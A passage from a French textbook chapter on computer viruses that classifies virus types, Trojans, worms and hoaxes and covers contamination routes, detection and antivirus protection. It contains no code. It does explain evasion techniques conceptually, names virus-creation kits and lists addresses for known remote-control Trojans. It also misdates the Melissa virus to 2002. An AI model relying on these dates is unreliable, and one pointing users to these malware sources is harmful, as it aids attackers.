informaticiens, programmeurs amateurs, etc. Toute personne peut se procurer sur
Internet des kits de création de virus, conçus pour les programmeurs en herbe. La
plupart des auteurs de virus ne sont connus que par leur surnom qu’ils intègrent
parfois dans le code du virus.

Motivations :
On remarque souvent que les motivations qui poussent la communauté des
créateurs de virus à développer ce genre de programmes sont la vanité, la jalousie, et
l’esprit de compétition. Ils ont ainsi l’impression de pouvoir se faire un nom dans le
monde informatique.
Les problèmes de virus 171

0utils de développement :
La plupart des programmeurs qui développent des virus utilisent des kits, à
savoir des applications qui circulent sur Internet conçues pour générer un code de
virus. Virus Creation Laboratories, Virus Factory, Virus Creation 2000 et The
Windows Virus Engine en sont des exemples parmi tant d’autres et sont souvent
faciles à utiliser. Cette situation contraste malheureusement avec une époque plus
ancienne où des connaissances de programmation avancées étaient requises. Aussi,
ont-ils fortement contribué à l’augmentation des virus en circulation.

9.4. Les divers types de virus

Avant de passer au classement, il convient de remarquer que les classifications


ne sont guère évidentes, compte tenu des combinaisons de techniques d’attaques
utilisés par les pirates et créateurs de virus. Cependant, on classe souvent les virus en
deux grandes catégories : ceux qui résident en mémoire et ceux qui ne le sont pas.

9.4.1. Les virus résidents en mémoire

Les virus résidents en mémoire se logent dans la mémoire vive et viennent


parasiter le fonctionnement des interruptions (les diverses fonctions de bas niveau).
Depuis leur localisation dans la RAM (Random Access Memory), ces programmes
peuvent causer des dommages importants tout en restant à l'abri de certains
programmes antivirus.

Dès sa première exécution, le virus vérifie si une de ses copies n'est pas déjà
chargée en mémoire. Si tel n'est pas le cas, il va se loger dans la mémoire
conventionnelle ou la mémoire haute. A partir de ce moment, et de façon
systématique, tous les programmes exécutés et qui ne sont pas encore infectés le
seront. Ce mode d'infection est très rapide.

Ces programmes sont classés en fonction de leurs localisations et de leurs modes


de fonctionnement : les virus de secteur d’amorçage et les virus à infection de
fichiers ou « parasites » :

Les virus de secteur d'amorçage


Les virus de secteur d'amorçage se localisent dans le premier secteur d'une
disquette ou d’un disque dur physique : soit dans la zone d'amorce principale, soit
dans la zone d'amorce propre à chaque partition. Ce cas est très fréquent, par
exemple, quand il y a deux grandes partitions : une pour le système d’exploitation
Windows (ou DoS), une autre pour Linux. Profitant de la structure inhérente au
172 La sécurité sur Internet

DoS, le virus se trouve chargé en mémoire avant les fichiers système. Le virus peut
alors contrôler l'ensemble des interruptions DoS et se créer des opportunités de
reproduction. En principe, le virus se charge en mémoire et y demeure tant que le
PC est sous tension.

Les virus de secteur d'amorçage modifient soit le contenu du secteur d'amorçage


du disque lui-même soit celui du secteur d'amorçage du DoS en se substituant à leur
contenu initial nécessaire au démarrage et au bon déroulement des informations
délétères. En effet, le virus déplace le contenu original du secteur vers une autre
zone du disque et s'approprie son emplacement. La conséquence de cette procédure
est très grave : le virus sera exécuté en premier, ce qui lui donne la primauté de se
loger en mémoire avant que la séquence d'amorçage ne se poursuive.

Les virus à infection de fichiers


Les virus à infection de fichiers, ou comme l’indique leur surnom « parasites »,
se logent généralement au sein de fichiers dont l’extension est de type .COM, .EXE,
.BIN ou .SYS. Ce type de virus n’est habituellement actif qu'au moment du premier
chargement du premier fichier infecté et ne pose guère de problèmes aux
programmes standards antivirus. Dès qu’un fichier infecté est sollicité, le virus est
exécuté grâce au bout de programme monté en mémoire. Il modifie le contenu d'un
fichier exécutable (.EXE, .COM) afin de contrôler son mode d'opération.

L'ordre des opérations habituellement exécutées se trouve modifié de manière


que celles dictées par le virus sont toujours exécutées en priorité. Le processus
d'infection se fait la plupart du temps à l’insu de l'utilisateur, car une fois le virus
exécuté, le programme lancé continue à fonctionner normalement. Certains virus se
greffent à la fin d'un fichier programme, d'autres au début et d'autres encore au début
et à la fin.

9.4.2. Les virus non résidents en mémoire

Les virus qui ne résident pas en mémoire se greffent à des fichiers .COM, .EXE
ou .SYS et sont exécutés et opérationnels à chaque lancement du fichier infecté.

Le code du virus est entièrement activé dès la première étape du lancement d'un
programme infecté. D'autres programmes se trouvent alors infectés et servent à leur
tour de vecteurs d'infection lorsqu'ils se trouvent exécutés. Les taux d'infections par
ce genre de virus sont aussi élevés que ceux des virus résidents en raison de leurs
petites tailles et notamment parce qu'ils ne modifient pas les tables d'interruption et
ne se placent pas en mémoire. La méthode d'infection est, de plus, hautement
imprévisible. On les classe souvent en trois sous-catégories :
Les problèmes de virus 173

– les virus avec recouvrement : ils se placent à la tête du fichier cible. Au


lancement, ils peuvent infecter un ou plusieurs autres fichiers ;
– les virus sans recouvrement : contrairement au précédent, ce type de virus
n'écrase pas les lignes du fichier attaqué, mais il se recopie à sa fin, avec une routine
de saut placée en début du programme qui l'appelle à chaque fois que le programme
est exécuté ;
– les virus compagnons : ils se basent sur le fait que sous DoS, il existe une
priorité, lors de l'exécution d'un fichier. Ainsi, dès qu'il trouve un fichier .EXE, il
crée un autre fichier de même nom avec l'extension .COM, ou il recopie son code.
Puis par ordre de priorité, il s'exécutera à la place du vrai programme.

Le remède préventif possible est la surveillance des tailles et de la date de


modification de ces fichiers usuels. Malheureusement peu d’utilisateurs se soucient
de ces détails.

9.4.3. Les Chevaux de Troie

Un Cheval de Troie est un programme informatique effectuant des opérations à


l’insu de l’utilisateur. Il s’agit donc d’un programme caché dans un autre qui exécute
des commandes sournoises et qui, généralement, donne accès à la machine sur
laquelle il est exécuté. Il ne faut pas pour autant s’alarmer et croire que tout
comportement anormal d’une application est un Cheval de Troie. Il se peut que ce
soit un simple bogue.

En effet un tel programme a généralement des effets négatifs sur les informations
stockées sur le système qui l’exécute. Par exemple, si une fenêtre MS-Dos plante
lors de son exécution avec la commande DIR, il s’agit plutôt d’un virus et non d’un
Cheval de Troie. Si, en revanche, cette même commande efface tout le disque dur et
affiche le message « Je vous ai bien eu ! », il y a de fortes chances qu’il s’agisse bel
et bien d’un Cheval de Troie.

Les spécialistes ne sont pas unanimes sur le sujet. Certains associent ces
programmes malveillants à des virus, d’autres estiment qu’ils n’en sont pas
puisqu’ils ne cherchent à contaminer ni le système ni même les fichiers, bien qu’ils
puissent les effacer. De plus, un Cheval de Troie n’a généralement pas pour objectif
de se dupliquer.

Avec le développement d’Internet et du Chat, le phénomène prend de l’ampleur.


Actuellement de nombreux Chevaux de Troie ne seraient que des « espions »
dissimulés dans les ordinateurs, par des programmes destructeurs. L’objectif
174 La sécurité sur Internet

principal est de s’approprier des données confidentielles essentielles comme les


noms, mots de passe, codes bancaires, etc.

A l’heure actuelle, il existe plusieurs Chevaux de Troie particulièrement


dangereux qui permettent la prise de contrôle d’un système à distance. Ils se
présentent sous la forme d’un programme-client et d’un programme-serveur.

Dans un premier temps, le programme-serveur est envoyé à la victime dans un


courrier électronique sous la forme d’une pièce jointe. Lorsque ce fichier est
exécuté, le programme ouvre un port dans la machine attaquée et s’installe de façon
résidente et invisible dans le système victime (Figure 9.1).

Ensuite, le programme-client initialise une connexion avec la machine attaquée


et permet ainsi le contrôle de l’ordinateur de la victime. Au préalable, et afin de
s’infiltrer dans une machine, le pirate doit en connaître l’adresse IP.

Figure 9.1. Installation du programme du serveur dans la machine-victime


Les problèmes de virus 175

Il est également possible d’accéder à n’importe quel fichier, de lire tout ce qui est
saisi au clavier, d’éditer les paramètres du système, de lancer une quelconque
application, de lire les emails et même de rediriger l’affichage afin de savoir
exactement ce que fait la victime.

Les trois plus célèbres Chevaux de Troie sont BackOrifice (www.bo2k.com),


NetBus (www.netbus.org) et SubSeven (http://subseven.slak.org). A BackOrifice
peuvent être ajoutés des plug-in, permettant entre autres de crypter la transmission
entre le client et le serveur avec un algorithme fort pour le cryptage. Le code source
de BackOrifice a été diffusé, ce qui autorise le développement de nombreuses
variantes du logiciel.

Figure 9.2. Les Plug-in de BackOrifice

La Figure 9.2 montre quelques plug-in de BackOrifice. ButtSniff est un sniffer


qui permet d’espionner à distance un réseau où se trouve une machine infectée.
ButtTrumpt 2000 permet à un pirate de récupérer l’adresse IP de la machine infectée
176 La sécurité sur Internet

lorsque son adresse IP change. Lors d’une connexion Dial-up (par modem), ce plug-
in envoie un email au pirate pour lui donner la nouvelle adresse IP de la machine
infectée. Donc une fois infectée, une machine est désormais à la merci du pirate.

La Figure 9.3 détaille quelques commandes utilisables à partir d’un poste pour
contrôler à distance une machine infectée par BackOrifice. Par exemple, une
machine peut être rebootée, un clavier bloqué, ou un message envoyé pour qu’il soit
affiché sur l’écran de la machine cible.

Figure 9.3. Les commandes de BackOrifice


Les problèmes de virus 177

9.4.4. Les virus multiformes

Les virus multiformes possèdent les caractéristiques des virus de secteur


d'amorçage et des virus parasitaires. Ils peuvent infecter les fichiers .COM et .EXE
ainsi que le secteur d'amorçage de disquettes et de disques durs. Démarrer un
ordinateur à partir d'une disquette infectée par un virus multiforme aura pour effet de
placer le virus en mémoire vive et d'infecter le secteur d'amorçage du disque dur de
l'ordinateur. En empruntant conjointement ces deux voies d'infection, le virus va
facilement et rapidement se propager à l'ensemble des périphériques d'un PC.

9.4.5. Les virus furtifs

Les virus furtifs, autrement nommés « intercepteurs d'interruptions », prennent


le contrôle des interruptions principales du DoS pour leurrer ce système et un grand
nombre de programmes antivirus en faisant comme si l'ensemble des fichiers est
sain. Les programmes qui essaient de lire des fichiers ou des secteurs infectés
détectent la forme originale, plutôt que la forme infectée.

Cette prise de contrôle de la table d'interruptions s'effectue au tout début de la


zone mémoire. Lorsqu'une application émet une requête d'interruption, celle-ci est
habituellement redirigée vers la table d'interruptions qui oriente les commandes et
permet au programme de fonctionner normalement.

Dans le cas où un virus furtif intercepterait ces requêtes, il aurait alors la


possibilité de les rediriger où bon lui semble et par conséquent d'effectuer toutes les
opérations à sa guise.

Cette aptitude à contrôler la table d'interruptions permet aux virus furtifs d’être
invisibles et rend leur détection extrêmement difficile même aux programmes
antivirus qui recherchent les modifications éventuelles apportées aux fichiers.

Le virus dissimule les modifications apportées aux fichiers ou à l'enregistrement


de démarrage ; il surveille les appels aux fonctions de lecture des fichiers ou des
blocs physiques de supports de stockage et il falsifie les résultats renvoyés par ces
fonctions.

Les programmes qui tentent alors de lire ces zones voient la forme non infectée
de l'original du fichier au lieu de la forme réelle infectée.

Par exemple, le tout premier virus de DoS, « Brain », qui se greffe sur le secteur
d'amorçage, surveille les entrées/sorties du disque physique et redirige toute
178 La sécurité sur Internet

tentative de lecture d'un secteur d'amorçage infecté par « Brain » vers la zone du
disque où se trouve le secteur d'amorçage d'origine. Par la suite, les virus « Number
of the Beast » et « Frodo » ont usé du même stratagème.

Pour s’assurer qu'aucun virus n’a falsifié les résultats, une règle d'or : il est
impératif de garder une copie saine et fiable de l'original1 afin de disposer d'un
système « sain ». Avant toute recherche de virus, il convient d'installer le système à
partir de la copie originale, de démarrer le système à partir des disquettes DoS ou
CD ROM Windows originaux et d’utiliser uniquement les utilitaires provenant de
ces disquettes ou CDROM.

9.4.6. Les bombes logiques

Les bombes logiques sont des programmes ou commandes programmés d’une


façon insidieuse et contenant généralement un mode de déclenchement différé en
fonction d’événements ou de dates déterminées. Ces bombes exploitent donc des
informations comme la date système, le lancement d'une procédure, une commande
du shell, un call système (appel système). Les mécanismes utilisés sont, dans
certains cas, conçus de manière à répondre à une commande téléprogrammée (RTC,
accès à un PAVI, à un PAD…).

9.4.7. Les mutants ou virus polymorphes

Les virus polymorphes cryptent ou modifient le code qui les compose à chaque
fois qu'ils se reproduisent : aucune copie d'un virus ne ressemble aux autres. La
plupart des systèmes de détection de virus sont mis en échec par ce genre de virus,
car ils se réfèrent à une base de signatures de virus connus.

L'auto-cryptage à clé variable est une méthode qui permet de leurrer les antivirus
se réfèrant à une base de signatures de virus connus2, dont le code de cryptage est
toujours le même et qui peuvent être utilisés comme signature de virus même par les
antivirus les plus simples (excepté si un autre virus ou programme utilise la même
routine de cryptage).

1 Les disquettes démarrage/programme doivent provenir d'un fournisseur connu et protégées


en écriture depuis leur création.
2 Par exemple, « Cascade »
Les problèmes de virus 179

Certains virus polymorphes sont créés à partir d'un schéma de cryptage


nécessitant différentes routines : une seule de ces routines est pleinement visible
dans chaque instance du virus3. Les antivirus se référant aux signatures doivent
exploiter plusieurs signatures (une pour chaque méthode de cryptage) pour identifier
un virus de ce type de façon fiable.

Des virus polymorphes plus sophistiqués modifient, dans leurs copies, la


séquence des instructions. V2P6, par exemple, combine ces instructions avec
d’autres instructions « parasites », comme « No Operation » ou une instruction de
chargement d'un registre non utilisé avec une valeur arbitraire. Il échange des
instructions indépendantes et utilise même des séquences d'instructions variées ayant
des effets identiques, comme par exemple, « Subtract A from A »et « Move 0 to A »
Un antivirus simple se référant aux signatures n'est pas capable d'identifier ce type
de virus de façon fiable ; après des recherches approfondies effectuées sur le virus
concerné, le développement d'un « moteur d'analyse » complexe est dans ce cas
nécessaire.

Le plus sophistiqué des virus polymorphes détectés à ce jour est le « moteur de


mutation » mis au point par un Bulgare du nom de « Dark Avenger »4. Il a été
largement diffusé et son code a été même rendu public. Il est livré avec un jeu
complet d'instructions permettant de transformer n'importe quel virus normal en
virus polymorphe (mutant).

En théorie, n’importe quel virus peut alors changer de look. Le principe est assez
simple : on utilise les appels au code source assembleur et, à l’aide d’un générateur
de nombres aléatoires, on les relie aux modules du moteur de mutation. De ce fait,
les résultats après transformation seront aléatoires rendant, du même coup, le virus
méconnaissable. Parfois, la détection s’avère assez difficile car l'ajout à des
programmes antivirus simples de chaînes de recherche de plus en plus nombreuses
n’est guère une méthode adéquate.

9.4.8. Les virus macros

Les traitements de texte et tableurs sont de plus en plus sophistiqués. Pour


simplifier la tâche des utilisateurs, les concepteurs y incluent des macrocommandes
qui permettent d'automatiser certaines tâches importantes, telles que la sauvegarde

3 C'est le cas du virus « Whale ».


4 Le vengeur noir.
180 La sécurité sur Internet

automatique d'un fichier toutes les minutes ou la saisie d'informations dans des
formulaires.

Les virus macros sont les virus les plus fréquents à l'heure actuelle. Ce sont des
macrocommandes particulières qui se reproduisent d'elles-mêmes au sein des
fichiers de données générés par des applications telles que Microsoft Word ou
Excel. La plupart des virus macros ont pour cibles les documents Word. Lorsqu'un
fichier contenant une macro infectée est ouvert, le virus se recopie automatiquement
dans le modèle global de Word (le fichier NORMAL.DOT) grâce à des fonctions
exécutées dès le chargement du document. Le virus peut alors infecter d'autres
fichiers Word. Tous les documents ouverts ou créés après la contamination du
modèle global se trouvent à leurs tours infectés.

Les virus macros, qui font désormais partie du document même, se répandent dès
qu'un utilisateur infecté transmet ses fichiers sur disquettes, par transfert ou dès
qu'un fichier infecté se trouve joint à un message électronique.

Les virus macros sont généralement conçus de manière à corrompre les


commandes « auto » telles que AutoOpen, AutoSave, AutoClose et AutoNew.
Comme elles sont exécutées automatiquement au chargement d’un document Word,
il y a de fortes chances que ces commandes passent inaperçues.

De nos jours, tout le monde est capable de créer son propre virus macros grâce à
Visual Basic qui utilise une syntaxe proche de l’anglais. La plupart des virus macros
n’étant que des variantes d’autres virus macros existants, des guides progressifs sont
même disponibles sur Internet qui orientent l’utilisateur malveillant durant toute la
création d’un virus macro pour Word.

Les conséquences d'un virus macro


Si pour un utilisateur individuel, un virus macro peut provoquer le formatage
d'un disque dur, pour les entreprises, les pertes sont plus conséquentes : de la
corruption des opérations d'enregistrement des fichiers, à la détérioration des
informations, ou la perte du contrôle du stockage des données, jusqu’au reformatage
des disques durs de tous les ordinateurs frappés par le virus. Sur les quelque 500
virus macros recensés, très peu sont à caractère purement destructif, mais les pertes
d’informations et de temps effectivement travaillé peuvent être considérables.

Détection des virus macro


Avant l'apparition des virus macros en août 1995, les logiciels antivirus
n'analysaient que les fichiers exécutables et les secteurs d'amorçage, les seules cibles
des virus existants. Les virus macros infectent désormais les documents créés par
Les problèmes de virus 181

Word et Excel, et leur structure est très différente de celles des fichiers exécutables
ou des secteurs d'amorçage.

De plus, à cause du grand nombre de variantes des virus macros, les techniques
habituelles basées sur la recherche et la comparaison de codes particuliers s'avèrent
insuffisantes pour assurer une protection optimale.

Pour se protéger contre les virus macros, les utilisateurs personnels doivent faire
l'acquisition de nouveaux antivirus capables de détecter les fichiers macros dans
Word et Excel.

9.4.9. Les virus créés sous Visual Basic

Toutes les applications Microsoft sont liées les unes aux autres par leur langage
de programmation Visual Basic et son dérivé VB script. Ce fait a poussé certains à
écrire des virus macros en utilisant les mêmes logiciels. Le plus célèbre, I LoveYou,
est écrit en VB Script. Une fois en contact avec Outlook, logiciel de gestion de
courrier électronique de l'ensemble Office, il lui commande d'envoyer une copie du
message auquel il est attaché à chacune des adresses du répertoire.

Melissa, célèbre par ses ravages en 2002, lui, attaque les fonctions
d'automatisation du traitement de texte Word. D'autres virus se sont transmis via le
tableur Microsoft Excel.

Il est important de savoir aussi qu'il n'y a que les fichiers actifs qui peuvent
contenir des virus. C'est pour cette raison qu'il est parfois difficile, voire impossible,
de trouver des virus dans les fichiers passifs tels que des images, des fichiers textes
sans macro, des vidéos ou des fichiers audio.

9.4.10. Les vers

Un ver est un programme complet (ou un ensemble de programmes) capable de


se multiplier en plusieurs copies fonctionnelles ou de dupliquer ses segments sur
d'autres systèmes informatiques en règle générale à travers un réseau. Contrairement
aux virus, les vers n'ont pas besoin de programme hôte. Il en existe deux types : les
vers de station de travail et les vers de réseau.

Les vers de station s’attaquent à un seul système et utilisent les connexions


réseau pour se recopier sur toutes les machines du réseau. On parle à leur propos de
« lapins » par analogie avec l’animal prolifique.
182 La sécurité sur Internet

Les vers de réseau sont constitués de plusieurs segments, tournant chacun sur
une machine différente. Le réseau constitue alors un support de communication et de
propagation. Certains vers possèdent un segment principal qui coordonne les actions
des autres segments ou sous-segments. Ce type de vers est appelé « pieuvres », par
analogie avec cet animal tentaculaire.

9.4.11. Les hoax ou les canulars

Un hoax est un faux virus qui se présente sous la forme d’un simple message
email rédigé de telle façon que son destinataire soit tenté d’en informer ses amis ou
collègues travaillant sur le même réseau, ou de le leur transmettre croyant leur
rendre service. L’auteur du message tente ainsi saturer les serveurs de messageries
des grandes entreprises grâce à l’effet de chaîne ou d’avalanche de messages.

Les premiers hoax apparaissent au début de 1997. Les messages, dont le sujet
tourne autours des virus, contiennent un texte du type : « Attention, si vous recevez
un message intitulé AOL4FREE, ne l’ouvrez pas, cela entraînera la destruction de
votre disque dur, envoyez ce message à tous ceux que vous connaissez afin de les
prévenir. »

De ce fait, bon nombre de personnes, par devoir, transmettent le message sans


perdre de temps. Autre exemple, encore plus invraisemblable pour les professionnels
de l’informatique, mais totalement plausible pour les novices, un message a circulé
durant l’année 2002 affirmant que plus de trois millions de téléphones portables sont
infectés par un virus qui se transmet si l’on répond à un appel d’un utilisateur ayant
masqué son numéro. Le message se termine bien sûr par la phrase classique :
« Transmettez ce message à tous vos amis et collègues possédant un téléphone
portable. »

Le pot aux roses découvert, les créateurs de faux virus ont donc modifié leur
stratégie. Les nouveaux messages font désormais croire aux destinataires que s’ils
les transmettent, ils ont quelque chose à gagner. Ces messages se rapprochent plus
des messages publicitaires du type SPAM, reçu en général tous les jours dans les
boîtes de courrier électronique.

Pour contrer les hoax, il suffit de se convaincre qu’aucun éditeur d’antivirus ou


autre source sérieuse n’utilise ce genre de formule et d’éviter de céder à la tentation
d’ouvrir les pièces jointes à un message et de les supprimer immédiatement.
Les problèmes de virus 183

9.5. Les causes de contamination

9.5.1. Les disquettes

Historiquement, alors que les micro-ordinateurs n’étaient pas encore connectés à


des réseaux, un des tous premiers vecteurs de contamination était la disquette, qui
circulait d’une machine à l’autre.

9.5.2. Les exécutables

Le deuxième support de prédilection des virus est un fichier exécutable. De tels


fichiers sont transmis sur des disquettes ou des CD-ROM, téléchargés sur le Web,
sur un serveur FTP ou bien sous forme de pièce jointe dans un message
électronique. Il faut signaler qu’une archive, du type .zip par exemple, peut
parfaitement contenir des exécutables contaminés.

Rappelons par ailleurs qu’un exécutable infecté ne « libère » le virus que


lorsqu’il est lancé par l’utilisateur. De plus, un virus transmis via un exécutable ne
peut s’activer que dans l’environnement sur lequel il a été compilé. Il en est de
même pour les Chevaux de Troie qui se présentent, le plus souvent, sous forme de
fichiers exécutables.

9.5.3. Les fichiers de données

Les macrovirus se propagent à l’intérieur des documents Word, feuilles de calcul


Excel ou présentations PowerPoint ou, d’une façon générale, par l’intermédiaire de
tout fichier pouvant contenir des instructions exécutables. Notons que c’est le seul
cas ou un fichier de données peut contenir un virus. Par exemple, une image ou un
film Mpeg, s’ils sont corrompus par un virus, ne permettent pas sa transmission
puisqu’ils ne contiennent aucun programme.

9.5.4. Les messages électroniques

Il y a encore quelques années, un message électronique ne pouvait en aucun cas


propager un virus sauf par l’intermédiaire d’une pièce jointe. Malheureusement, les
logiciels de messagerie actuels sont aujourd’hui capables de visualiser des messages
au format HTML, semblables à des pages Web. Ces messages peuvent contenir des
scripts (JavaScript, VBScript, etc.) susceptibles d’entraîner des effets néfastes.
184 La sécurité sur Internet

Ainsi est-il désormais possible de « contracter » un virus rien qu’en visualisant le


contenu d’un message contaminé, même en l’absence de pièces jointes. Enfin, on a
coutume de dire qu’un virus contenu dans un message ou attaché à un courrier ne
peut s’activer tant qu’on n’en a pas pris connaissance ou ouvert la pièce jointe. Ceci
est toujours exact, mais il faut faire attention à certains logiciels, tels que la série des
Outlook qui possèdent une fenêtre de prévisualisation. Dans certains cas,
prévisualiser un message HTML comportant un script malveillant peut suffire à
l’exécuter.

9.5.5. Le réseau

Le dernier moyen dont peut profiter un virus est une connexion réseau. Dans ce
qui suit, nous distinguons deux cas de figure.

Un virus fichier peut contaminer des exécutables qui se trouvent sur une machine
distante, via un réseau, si un partage (Windows ou NFS sous UNIX) y a été réalisé.
En fait, il ne s’agit que d’une extension de la propagation effectuée en local,
puisque, vis-à-vis de l’utilisateur, un tel partage est vu comme un simple disque
supplémentaire.

Le second cas concerne principalement les Chevaux de Troie et les vers. En


effet, certains programmes de ce type sont capables de s’interfacer avec des
applications réseau autres que les logiciels de messagerie permettant ainsi aux vers
de se propager sur des machines distantes. Un ver peut contaminer un ordinateur
distant, par exemple à l’aide d’un client IRC.

Il ne faut cependant pas s’imaginer qu’un virus, un Cheval de Troie ou un ver


puissent contaminer toutes les machines d’un même réseau dès leur apparition sur
l’une d’entre elles. La plupart du temps, il est indispensable que l’utilisateur de
l’ordinateur contaminé effectue certaines actions particulières comme l’accès en
écriture à un partage distant, une connexion à un serveur IRC, etc., pour qu’un tel
programme commence à se propager.

9.6. Symptômes et détections

Les concepteurs de logiciels de détection et les auteurs de virus se livrent à une


lutte sans merci dans un processus d'escalade. Dès que les premiers inventent une
parade pour contrer les attaques, les seconds se hâtent de trouver une autre nouvelle
contre-mesure. La tactique d'un « bon » virus est de ne pas se faire repérer, retardant
ainsi au maximum sa détection, donc son éradication. D’autre part, certaines
Les problèmes de virus 185

« mauvaises langues » vont même jusqu'à insinuer que ce sont les mêmes
concepteurs d’antivirus qui simulent et s’attaquent aux systèmes des utilisateurs
pour augmenter leurs revenus issus des ventes, mais aucune preuve formelle n’a été
fournie jusqu’ici.

Les symptômes des fichiers infectés sont les suivants :


– erreur ou changement de la somme logique de contrôle (checksum),
– diminution de la taille mémoire disponible (par exemple 639 Ko au lieu de
640)…
– la taille et la date de modification de certains fichiers sensibles changent,
– la machine ralentit sans raison apparente,
– des accès disques ont lieu alors même qu’aucune application n’est utilisée,
– certains fichiers deviennent subitement inutilisables.

Cependant, ces symptômes sont souvent les signes anodins du bogue d’une
application ou même du système d’exploitation.

La seule manifestation qui puisse attester de la présence d’un virus ou d’un


Cheval de Troie sur un ordinateur est l’apparition subite d’une animation ou d’un
message à l’écran, ou le formatage inopiné du disque.

Tous ces éléments sont pourtant observables mais malheureusement la majorité


des utilisateurs n’ont pas l’habitude de les vérifier. Néanmoins, seul un expert est à
même de déceler rapidement la présence d'un virus. Quant à l’utilisateur lambda, il
devra recourir à des logiciels spécialisés pour des analyses fines et souvent
complexes de la mémoire des PC et des disques durs ou autres supports.

L'utilisateur qui a l'impression que le comportement de sa machine n’est pas


habituel (programmes plus lents à se charger, aspect de l'écran différent ou anormal,
résultats obtenus surprenants ou inattendus…) doit admettre la possibilité d'une
attaque virale.

En général, les logiciels de détection des virus opèrent sur une collection ou mini
base de données de « signatures ». En effet, les virus les plus simples comportent
tous une séquence d'instructions propre, mais parfaitement identifiable appelée
« signature ». Donc, pour détecter les virus, il suffit dès lors de reconnaître sa
signature. Il va de soi que la base de données des signatures s’élargit au fur et à
mesure que de nouveaux virus font leur apparition. Les scanners ne donnent que très
peu de fausses alarmes, mais par contre, face aux virus polymorphiques, ils sont
inefficaces.
186 La sécurité sur Internet

La mise à jour fréquente du catalogue des signatures est donc une condition
nécessaire. Ceci implique la souscription de l’utilisateur aux services du distributeur
et/ou de l’éditeur d’antivirus.

Une autre méthode existe qui a l'avantage de dispenser des mises à jour
fréquentes. Elle se base sur des algorithmes heuristiques pour détecter certaines
successions d'instructions d'un virus potentiel. Certes, la probabilité de fausses
alarmes est plus forte, mais l'efficacité est garantie, tout au moins jusqu'à l'apparition
d'une nouvelle forme générale d'attaque.

9.7. Parade et élimination

En règle générale, dès la détection des éléments infectés, les antivirus proposent
une restauration des éléments infectés tout en éliminant le virus en cause ou tout
simplement la destruction des fichiers infectés et non récupérables.

Voici quelques produits phares sur le marché avec leur adresse électronique :
– Thunderbyte Antivirus de Thunderbyte : www.thunderbyte.com
– VirusScan de chez Mc Afee : www.nai.com
– Norton AntiVirus : www.symantec.com
– Iris Antivirus Plus : www.irisav.com et www.simtel.ne
– NVS (Norman Virus Control) de chez Norman : www.norman.com.

Une dernière question s’impose : un firewall peut-il protéger des virus ? La


réponse est non. En effet, la détection et l’éradication d’un virus qui passe par un
paquet de données sont des tâches très difficiles pour un Firewall qui joue en fait le
rôle principal de scanner et trier les paquets de données rentrants. Un firewall, à
moins qu’il ne soit programmé à l’avance pour le faire, ne permet pas de détecter la
modification par un virus d’un paquet. Mais, techniquement la plupart des
programmes sont encapsulés et souvent compressés pour le transport, et reconnaître
un virus dans ces paquets relève d’un véritable défi.

Quel que soit le niveau de sécurité établi pour un firewall, la probabilité qu’un
virus le traverse est très grande, d’autant plus que les paquets transférés par email
peuvent être encodés de différentes manières en ASCII.

En bref, pour lutter efficacement contre les virus, le meilleur moyen est
d’associer un antivirus au système de défense mis en place, comme les firewalls et
les détecteurs d’intrusion (IDS).
Les problèmes de virus 187

9.7.1. Où installer un antivirus ?

Il existe trois positions stratégiques pour mettre en place une protection


antivirale :

1) Sur le poste client :


C’est sur l’ordinateur de chaque utilisateur que l’on pense en premier à installer
un antivirus. On se protège ainsi des virus transitant par disquettes ou CD-ROM. On
peut également détecter la présence d’un virus en mémoire et surveiller les fichiers
ouverts.

Certains antivirus peuvent mettre en œuvre une vérification en temps réel des
fichiers récupérés sur le Web ou par courriers électroniques.

Que ce soit à titre personnel ou professionnel, il est fondamental de disposer sur


chaque poste d’un antivirus local.

2) Sur les serveurs de fichiers :


Les serveurs de fichiers utilisés en entreprise constituent un emplacement
stratégique pour un antivirus, car ils renferment beaucoup de fichiers, notamment
des documents pouvant contenir des macros, être échangés ou accessibles à de
tierces personnes.

3) Sur les serveurs de messagerie et les passerelles Internet :


Lorsqu’une entreprise dispose d’un accès Internet, elle s’expose automatiquement
à la possibilité de contamination des systèmes internes par des fichiers récupérés sur le
réseau ou via des messages électroniques.

Il existe des logiciels antivirus spécialisés dans la détection de virus au niveau


des serveurs de messagerie comme par exemple le serveur Exchange sous Windows
NT. Ces logiciels peuvent intercepter tout fichier suspect, même compressé, avant sa
réception par le destinataire final.

De même, il peut être intéressant de filtrer les fichiers téléchargés sur le Web ou
par FTP. Certains logiciels ont été conçus dans le but d’analyser un tel flux de
données au moyen du « reroutage des flux ». Il s’agit de logiciels fonctionnant
comme des serveurs proxy, utilisés en entrée comme en sortie, et analysant tout le
trafic échangé vers et en provenance de l’Internet.

Pour ce faire, on interface généralement ces logiciels antivirus avec des firewalls.
CheckPoint a inventé, par exemple, la technologie CVP (Content Vectoring
188 La sécurité sur Internet

Protocol) qui permet, entre autres, de rerouter les différents flux vers des antivirus
adaptés.

9.7.2. Comment lutter contre les virus

Voici une liste de recommandations en vue de se prémunir contre les virus, de


les détecter et de les éradiquer.

Les conseils ci-dessous ne sont sûrement pas exhaustifs, mais ils vous
permettront d’éliminer un très grand pourcentage de risques d’attaques virales de
vos systèmes.

A - Comment se protéger des virus ?


L’objectif est de faire en sorte qu’aucun virus, Cheval de Troie ou ver ne vienne
infecter votre ordinateur.

1) Installez un antivirus résident :

Les scanners pour postes clients peuvent généralement être utilisés de façon
résidente, en tâche de fond. En installant et en activant ce type de logiciel, vous
évitez au moins les virus déjà recensés par l’antivirus.

Procédez également à un balayage complet de votre disque dur à une fréquence


qui prend en compte le nombre de fichiers que vous recevez d’autres utilisateurs, par
courrier électronique, via un réseau ou sur disquettes.

2) Mettez à jour votre antivirus :

L’efficacité des scanners est très largement tributaire de l’utilisation des derniers
fichiers de signatures, disponibles sur Internet. Il est par conséquent fondamental de
récupérer régulièrement ce type de fichiers, cette opération pouvant d’ailleurs être
automatisée. Veillez également à récupérer le fichier correspondant à votre pays de
résidence, car les grands éditeurs d’antivirus commercialisent des versions différentes
selon les types de virus les plus répandus dans chaque pays.

N’oubliez pas aussi de mettre à jour régulièrement le logiciel lui-même, pour


profiter de ses dernières améliorations.

Enfin, il serait judicieux de conserver les anciens fichiers de signatures car quand
un virus n’est plus en circulation, il se peut qu’il soit supprimé des fichiers les plus
récents par l’éditeur du logiciel antivirus.
Les problèmes de virus 189

3) Contrôlez chaque disquette avant utilisation :

Chaque fois que vous souhaitez utiliser une disquette, même si elle provient
d’une personne de confiance, vérifiez aussitôt qu’elle ne contienne pas de virus. De
plus, lorsque vous récupérez une disquette vide mais ayant déjà été utilisée,
reformatez-la avant d’y copier des fichiers.

4) Vérifiez chaque fichier attaché à un courrier électronique :

